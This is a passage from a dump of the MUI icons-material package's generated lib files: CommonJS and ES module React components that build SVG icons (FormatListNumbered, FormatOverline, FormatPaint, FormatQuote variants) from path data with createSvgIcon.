    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.5 16h-2c-.28 0-.5.22-.5.5s.22.5.5.5H20v.5h-.5c-.28 0-.5.22-.5.5s.22.5.5.5h.5v.5h-1.5c-.28 0-.5.22-.5.5s.22.5.5.5h2c.28 0 .5-.22.5-.5v-3c0-.28-.22-.5-.5-.5m-2-11h.5v2.5c0 .28.22.5.5.5s.5-.22.5-.5v-3c0-.28-.22-.5-.5-.5h-1c-.28 0-.5.22-.5.5s.22.5.5.5m2.5 5.72v-.22c0-.28-.22-.5-.5-.5h-2c-.28 0-.5.22-.5.5s.22.5.5.5h1.3l-1.68 1.96c-.08.09-.12.21-.12.32v.22c0 .28.22.5.5.5h2c.28 0 .5-.22.5-.5s-.22-.5-.5-.5h-1.3l1.68-1.96c.08-.09.12-.21.12-.32M15 5H3c-.55 0-1 .45-1 1s.45 1 1 1h12c.55 0 1-.45 1-1s-.45-1-1-1m0 12H3c-.55 0-1 .45-1 1s.45 1 1 1h12c.55 0 1-.45 1-1s-.45-1-1-1m0-6H3c-.55 0-1 .45-1 1s.45 1 1 1h12c.55 0 1-.45 1-1s-.45-1-1-1\"\n}), 'FormatListNumberedRtlRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatListNumberedRtlRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.5 16h-2c-.28 0-.5.22-.5.5s.22.5.5.5H20v.5h-.5c-.28 0-.5.22-.5.5s.22.5.5.5h.5v.5h-1.5c-.28 0-.5.22-.5.5s.22.5.5.5h2c.28 0 .5-.22.5-.5v-3c0-.28-.22-.5-.5-.5m-2-11h.5v2.5c0 .28.22.5.5.5s.5-.22.5-.5v-3c0-.28-.22-.5-.5-.5h-1c-.28 0-.5.22-.5.5s.22.5.5.5m2.5 5.72v-.22c0-.28-.22-.5-.5-.5h-2c-.28 0-.5.22-.5.5s.22.5.5.5h1.3l-1.68 1.96c-.08.09-.12.21-.12.32v.22c0 .28.22.5.5.5h2c.28 0 .5-.22.5-.5s-.22-.5-.5-.5h-1.3l1.68-1.96c.08-.09.12-.21.12-.32M15 5H3c-.55 0-1 .45-1 1s.45 1 1 1h12c.55 0 1-.45 1-1s-.45-1-1-1m0 12H3c-.55 0-1 .45-1 1s.45 1 1 1h12c.55 0 1-.45 1-1s-.45-1-1-1m0-6H3c-.55 0-1 .45-1 1s.45 1 1 1h12c.55 0 1-.45 1-1s-.45-1-1-1\"\n}), 'FormatListNumberedRtlRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatListNumberedRtlSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 17h2v.5h-1v1h1v.5h-2v1h3v-4h-3zm1-9h1V4h-2v1h1zm-1 3h1.8L18 13.1v.9h3v-1h-1.8l1.8-2.1V10h-3zM2 5h14v2H2zm0 12h14v2H2zm0-6h14v2H2z\"\n}), 'FormatListNumberedRtlSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatListNumberedRtlSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 17h2v.5h-1v1h1v.5h-2v1h3v-4h-3zm1-9h1V4h-2v1h1zm-1 3h1.8L18 13.1v.9h3v-1h-1.8l1.8-2.1V10h-3zM2 5h14v2H2zm0 12h14v2H2zm0-6h14v2H2z\"\n}), 'FormatListNumberedRtlSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatListNumberedRtlTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 11h14v2H2zm16 6h2v.5h-1v1h1v.5h-2v1h3v-4h-3zm0-6h1.8L18 13.1v.9h3v-1h-1.8l1.8-2.1V10h-3zm2-3V4h-2v1h1v3zM2 17h14v2H2zM2 5h14v2H2z\"\n}), 'FormatListNumberedRtlTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatListNumberedRtlTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 11h14v2H2zm16 6h2v.5h-1v1h1v.5h-2v1h3v-4h-3zm0-6h1.8L18 13.1v.9h3v-1h-1.8l1.8-2.1V10h-3zm2-3V4h-2v1h1v3zM2 17h14v2H2zM2 5h14v2H2z\"\n}), 'FormatListNumberedRtlTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatListNumberedSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 17h2v.5H3v1h1v.5H2v1h3v-4H2zm1-9h1V4H2v1h1zm-1 3h1.8L2 13.1v.9h3v-1H3.2L5 10.9V10H2zm5-6v2h14V5zm0 14h14v-2H7zm0-6h14v-2H7z\"\n}), 'FormatListNumberedSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatListNumberedSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 17h2v.5H3v1h1v.5H2v1h3v-4H2zm1-9h1V4H2v1h1zm-1 3h1.8L2 13.1v.9h3v-1H3.2L5 10.9V10H2zm5-6v2h14V5zm0 14h14v-2H7zm0-6h14v-2H7z\"\n}), 'FormatListNumberedSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatListNumberedTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 13H3.2L5 10.9V10H2v1h1.8L2 13.1v.9h3zm2-8h14v2H7zM5 16H2v1h2v.5H3v1h1v.5H2v1h3zm2 1h14v2H7zM3 8h1V4H2v1h1zm4 3h14v2H7z\"\n}), 'FormatListNumberedTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatListNumberedTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 13H3.2L5 10.9V10H2v1h1.8L2 13.1v.9h3zm2-8h14v2H7zM5 16H2v1h2v.5H3v1h1v.5H2v1h3zm2 1h14v2H7zM3 8h1V4H2v1h1zm4 3h14v2H7z\"\n}), 'FormatListNumberedTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatOverline.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3v2H5V3zm-7 4c-3.87 0-7 3.13-7 7s3.13 7 7 7 7-3.13 7-7-3.13-7-7-7m0 11.5c-2.49 0-4.5-2.01-4.5-4.5S9.51 9.5 12 9.5s4.5 2.01 4.5 4.5-2.01 4.5-4.5 4.5\"\n}), 'FormatOverline');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatOverline.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3v2H5V3zm-7 4c-3.87 0-7 3.13-7 7s3.13 7 7 7 7-3.13 7-7-3.13-7-7-7m0 11.5c-2.49 0-4.5-2.01-4.5-4.5S9.51 9.5 12 9.5s4.5 2.01 4.5 4.5-2.01 4.5-4.5 4.5\"\n}), 'FormatOverline');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatOverlineOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3v2H5V3zm-7 4c-3.87 0-7 3.13-7 7s3.13 7 7 7 7-3.13 7-7-3.13-7-7-7m0 11.5c-2.49 0-4.5-2.01-4.5-4.5S9.51 9.5 12 9.5s4.5 2.01 4.5 4.5-2.01 4.5-4.5 4.5\"\n}), 'FormatOverlineOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatOverlineOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3v2H5V3zm-7 4c-3.87 0-7 3.13-7 7s3.13 7 7 7 7-3.13 7-7-3.13-7-7-7m0 11.5c-2.49 0-4.5-2.01-4.5-4.5S9.51 9.5 12 9.5s4.5 2.01 4.5 4.5-2.01 4.5-4.5 4.5\"\n}), 'FormatOverlineOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatOverlineRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 4c0-.55.45-1 1-1h12c.55 0 1 .45 1 1s-.45 1-1 1H6c-.55 0-1-.45-1-1m7 3c-3.87 0-7 3.13-7 7s3.13 7 7 7 7-3.13 7-7-3.13-7-7-7m0 11.5c-2.49 0-4.5-2.01-4.5-4.5S9.51 9.5 12 9.5s4.5 2.01 4.5 4.5-2.01 4.5-4.5 4.5\"\n}), 'FormatOverlineRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatOverlineRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 4c0-.55.45-1 1-1h12c.55 0 1 .45 1 1s-.45 1-1 1H6c-.55 0-1-.45-1-1m7 3c-3.87 0-7 3.13-7 7s3.13 7 7 7 7-3.13 7-7-3.13-7-7-7m0 11.5c-2.49 0-4.5-2.01-4.5-4.5S9.51 9.5 12 9.5s4.5 2.01 4.5 4.5-2.01 4.5-4.5 4.5\"\n}), 'FormatOverlineRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatOverlineSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3v2H5V3zm-7 4c-3.87 0-7 3.13-7 7s3.13 7 7 7 7-3.13 7-7-3.13-7-7-7m0 11.5c-2.49 0-4.5-2.01-4.5-4.5S9.51 9.5 12 9.5s4.5 2.01 4.5 4.5-2.01 4.5-4.5 4.5\"\n}), 'FormatOverlineSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatOverlineSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3v2H5V3zm-7 4c-3.87 0-7 3.13-7 7s3.13 7 7 7 7-3.13 7-7-3.13-7-7-7m0 11.5c-2.49 0-4.5-2.01-4.5-4.5S9.51 9.5 12 9.5s4.5 2.01 4.5 4.5-2.01 4.5-4.5 4.5\"\n}), 'FormatOverlineSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatOverlineTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3v2H5V3zm-7 4c-3.87 0-7 3.13-7 7s3.13 7 7 7 7-3.13 7-7-3.13-7-7-7m0 11.5c-2.49 0-4.5-2.01-4.5-4.5S9.51 9.5 12 9.5s4.5 2.01 4.5 4.5-2.01 4.5-4.5 4.5\"\n}), 'FormatOverlineTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatOverlineTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3v2H5V3zm-7 4c-3.87 0-7 3.13-7 7s3.13 7 7 7 7-3.13 7-7-3.13-7-7-7m0 11.5c-2.49 0-4.5-2.01-4.5-4.5S9.51 9.5 12 9.5s4.5 2.01 4.5 4.5-2.01 4.5-4.5 4.5\"\n}), 'FormatOverlineTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatPaint.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 4V3c0-.55-.45-1-1-1H5c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1h12c.55 0 1-.45 1-1V6h1v4H9v11c0 .55.45 1 1 1h2c.55 0 1-.45 1-1v-9h8V4z\"\n}), 'FormatPaint');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatPaint.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 4V3c0-.55-.45-1-1-1H5c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1h12c.55 0 1-.45 1-1V6h1v4H9v11c0 .55.45 1 1 1h2c.55 0 1-.45 1-1v-9h8V4z\"\n}), 'FormatPaint');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatPaintOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 4V3c0-.55-.45-1-1-1H5c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1h12c.55 0 1-.45 1-1V6h1v4H9v11c0 .55.45 1 1 1h2c.55 0 1-.45 1-1v-9h8V4zm-2 2H6V4h10z\"\n}), 'FormatPaintOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatPaintOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 4V3c0-.55-.45-1-1-1H5c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1h12c.55 0 1-.45 1-1V6h1v4H9v11c0 .55.45 1 1 1h2c.55 0 1-.45 1-1v-9h8V4zm-2 2H6V4h10z\"\n}), 'FormatPaintOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatPaintRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 4V3c0-.55-.45-1-1-1H5c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1h12c.55 0 1-.45 1-1V6h1v4h-9c-.55 0-1 .45-1 1v10c0 .55.45 1 1 1h2c.55 0 1-.45 1-1v-9h7c.55 0 1-.45 1-1V5c0-.55-.45-1-1-1z\"\n}), 'FormatPaintRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatPaintRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 4V3c0-.55-.45-1-1-1H5c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1h12c.55 0 1-.45 1-1V6h1v4h-9c-.55 0-1 .45-1 1v10c0 .55.45 1 1 1h2c.55 0 1-.45 1-1v-9h7c.55 0 1-.45 1-1V5c0-.55-.45-1-1-1z\"\n}), 'FormatPaintRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatPaintSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 4V2H4v6h14V6h1v4H9v12h4V12h8V4z\"\n}), 'FormatPaintSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatPaintSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 4V2H4v6h14V6h1v4H9v12h4V12h8V4z\"\n}), 'FormatPaintSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatPaintTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 4h10v2H6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 2H5c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1h12c.55 0 1-.45 1-1V6h1v4H9v11c0 .55.45 1 1 1h2c.55 0 1-.45 1-1v-9h8V4h-3V3c0-.55-.45-1-1-1m-1 4H6V4h10z\"\n}, \"1\")], 'FormatPaintTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatPaintTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 4h10v2H6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 2H5c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1h12c.55 0 1-.45 1-1V6h1v4H9v11c0 .55.45 1 1 1h2c.55 0 1-.45 1-1v-9h8V4h-3V3c0-.55-.45-1-1-1m-1 4H6V4h10z\"\n}, \"1\")], 'FormatPaintTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatQuote.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 17h3l2-4V7H5v6h3zm8 0h3l2-4V7h-6v6h3z\"\n}), 'FormatQuote');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatQuote.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 17h3l2-4V7H5v6h3zm8 0h3l2-4V7h-6v6h3z\"\n}), 'FormatQuote');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatQuoteOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.62 18h-5.24l2-4H13V6h8v7.24zm-2-2h.76L19 12.76V8h-4v4h3.62zm-8 2H3.38l2-4H3V6h8v7.24zm-2-2h.76L9 12.76V8H5v4h3.62z\"\n}), 'FormatQuoteOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatQuoteOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.62 18h-5.24l2-4H13V6h8v7.24zm-2-2h.76L19 12.76V8h-4v4h3.62zm-8 2H3.38l2-4H3V6h8v7.24zm-2-2h.76L9 12.76V8H5v4h3.62z\"\n}), 'FormatQuoteOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatQuoteRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.17 17c.51 0 .98-.29 1.2-.74l1.42-2.84c.14-.28.21-.58.21-.89V8c0-.55-.45-1-1-1H5c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1h2l-1.03 2.06c-.45.89.2 1.94 1.2 1.94m10 0c.51 0 .98-.29 1.2-.74l1.42-2.84c.14-.28.21-.58.21-.89V8c0-.55-.45-1-1-1h-4c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1h2l-1.03 2.06c-.45.89.2 1.94 1.2 1.94\"\n}), 'FormatQuoteRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatQuoteRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.17 17c.51 0 .98-.29 1.2-.74l1.42-2.84c.14-.28.21-.58.21-.89V8c0-.55-.45-1-1-1H5c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1h2l-1.03 2.06c-.45.89.2 1.94 1.2 1.94m10 0c.51 0 .98-.29 1.2-.74l1.42-2.84c.14-.28.21-.58.21-.89V8c0-.55-.45-1-1-1h-4c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1h2l-1.03 2.06c-.45.89.2 1.94 1.2 1.94\"\n}), 'FormatQuoteRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatQuoteSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 17h3l2-4V7H4v6h3zm10 0h3l2-4V7h-6v6h3z\"\n}), 'FormatQuoteSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatQuoteSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 17h3l2-4V7H4v6h3zm10 0h3l2-4V7h-6v6h3z\"\n}), 'FormatQuoteSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatQuoteTwoTone.js",
